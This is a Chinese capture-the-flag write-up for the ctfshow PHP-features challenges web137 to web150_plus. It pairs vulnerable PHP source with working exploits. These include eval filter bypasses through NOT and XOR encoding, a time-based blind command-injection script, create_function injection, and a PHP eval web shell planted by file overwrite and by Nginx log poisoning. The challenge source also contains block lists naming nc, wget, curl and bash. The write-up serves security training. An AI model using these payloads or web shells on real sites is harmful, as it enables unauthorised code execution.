php特性


web137

  • 描述: 没有难度
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);

能利用的点只有call_user_func, 函数详解

示例#3中, 有利用call_user_func来调用一个类里面的方法, 照葫芦画瓢就能拿下payload:

POST: 
ctfshow=ctfshow::getFlag

web138

  • 描述: 一丢丢难度
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

这下过滤了:

但是在call_user_func函数文档的示例#4中, 可以发现该函数是支持数组传入且不需要冒号, 那么可以利用数组传递payload:

POST: 
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

  • 描述: BY YU22X, 没变化吗?
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

tee写文件的方式不行了, 应该是权限不足的问题

至于脚本, 我更是不懂, 用的是类似于sql盲注的方法, 我直接给出来了:

跑目录下的文件(其实只需要改一下payload就是获取flag的)

import requests
import time
import string

# 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~"
# 初始化一个空字符串,用于保存结果
result = ""

#获取多少行
for i in range(1, 99):
key = 0 #用于控制内层循环(j)的结束

#不break的情况下,一行最多几个字符
for j in range(1, 99):
if key == 1:
break
#n就是一个一个一个的返回值
for n in str:
#{n}是占位符
payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)
#print(payload)
url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
try:
#设置超时时间为 2.5 秒, 包括连接超时和读取超时, 超时就是之前sleep 3
requests.get(url, timeout=(2.5, 2.5))

# 如果请求发生异常, 表示条件满足, 将当前字符 n 添加到结果字符串中, 并结束当前内层循环
except:
result = result + n
print(result)
break
if n == '~': #str的最后一位,“~”不常出现,用作结尾
key = 1
# 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置
result += " "

获取flag:

import requests
import time
import string

# 题目过滤花括号,这里就不加了
str = string.digits + string.ascii_lowercase + "-" + "_" + "~"
result = ""
for j in range(1, 99):
for n in str:
payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
# print(payload)
url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5))
except:
result = result + n
print(result)
break
if n=="~":
result = result + "花括号"

web140

  • 描述: 没难度
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

假的没难度, 这里用的是松散比较的漏洞绕过(弱比较), 0和字符串弱比较的时候就为真,所以使得$code为0即可让程序输出flag

payload:

POST:
f1=intval&f2=intval
f1=usleep&f2=usleep

附上一张松散比较的图, 从大佬那里拿过来的:

web141

  • 描述: 难度无
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

if(preg_match('/^\W+$/', $v3))是一段 PHP 代码, 它使用了正则表达式函数preg_match来检查变量$v3的值是否完全由非单词字符组成

而在php中, 数字是可以和命令进行一些运算的, 减一加一都是可以正常执行的

下面给出取反程序, 其他大佬博客一并给出

<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>

尝试执行命令, 是可以执行的

?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-&v2=1

image-20240727212800008

读取flag:

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-
# tac f*

web142

  • 描述: 难度0
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

强制转换为字符串然后判断是否为数字, 如果传入的值不为0则会睡眠很久

直接传入0就行了, 或者是0x0, 原因是被当成八进制和十六进制的0; payload:

?v1=0
?v1=0x0

web143

  • 描述: 141的plus版本
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

~没了, 但是还有^可以用, 然后用乘除代替加减

# -- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re

# 生成可用的字符
def write_rce():
result = ''
preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i ^ j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('xor_rce.txt', 'w')
f.write(result)


# 根据输入的命令在生成的txt中进行匹配
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)


def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param = action(s1) + action(s2)
print("\n[*] result:\n" + param)

main()

payload:

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*

web144

  • 描述: 143的plus版本
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

换成v2罢了, 直接用web141的套; payload:

?v1=1&v3=1&v2=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)

web145

  • 描述: 144的plus版本
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

运算符号也过滤了, 没事可以用三目运算符: 以下命令是可以执行的:

eval("return 1?phpinfo():1;");

所以继续用之前的web141取反payload:

?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):

web146

  • 描述: 145的plus版本
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

三元运算符也没了, 继续换, 换成或, 然后继续用payload:

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|

还可以是以下的:

eval("return 1==phpinfo()||1;");
?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||

web147

  • 描述: RCE
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}

限制这个函数不能以数字, 字母和下划线开头, 然后这个函数的第一个参数是不可控的, 只能控制第二个参数

首先利用命名空间绕过正则:

关于"\"绕过正则题目-easy-function

POST:
ctf=\phpinfo # 这是不能执行的, 因为两个参数会报错

然后利用匿名函数进行构造, create_function()代码注入

GET传入大括号对if语句进行闭合, 再跟上phpinfo();, 最后注释掉后面的部分即可

image-20240731141349659

原理如下:

create_function('$a','echo 1;}phpinfo();//')

# 等价于
function f($a) {
echo 1;}phpinfo();//
}

# 美化
function f($a) {
echo 1;
}
phpinfo();
//}

payload:

GET: 
?show=}system("tac f*");//
POST:
ctf=\create_function

web148

  • 描述: 什么是变量?
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

异或和括号没过滤, 那就用web143异或的脚本改一下正则重新生成payload(肯定不是去调用函数了, 毕竟都有eval了)

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

web149

  • 描述: 你写的快还是我删的快?
$files = scandir('./'); 
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
  1. 扫描当前目录, 如果该目录下有除了index.php的文件则全部删除
  2. 文件写入操作
  3. 再次删除index.php外的所有文件

那么只需要覆盖/替换index.php内容就可以了

GET:
?ctf=index.php
POST:
show=<?php @eval($_POST[cmd]); ?>

然后就是命令执行

POST:
cmd=system("tac /ctfshow_fl0g_here.txt");

web150

  • 描述: 对我们以前的内容进行了小结,我们文件上传系列再见!
include("flag.php");
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

上面那一大串都没用; 因为$ctf除了过滤冒号就没有任何过滤就可以进行包含, isVIP可以变量覆盖, 查看中间件发现有Nginx, 尝试日志包含

User-Agent: <?php @eval($_POST[cmd]); ?>

payload:

GET:
?isVIP=true
POST:
ctf=/var/log/nginx/access.log&cmd=system("tac f*");

web150_plus

  • 描述: 修复了非预期
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
# 这里经过出题人精心构造, 让你误以为是上面那个类的方法, 给你改回来了
function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}

不给用日志包含了, 注意__autoload是独立的, 不属于CTFSHOW类

在代码中新建一个对象,找不到对应的类的时候会调用__autoload

在程序中检查了$__CTFSHOW__是否存在, 所以肯定会调用__autoload, 现在只需要控制$__CTFSHOW__即可, 而前面刚好有个extract($_GET);, 先尝试利用

记得下划线绕过, 不过这里仅剩小数点了

?..CTFSHOW..=phpinfo

发现成功执行, 然后搜索ctfshow就能发现flag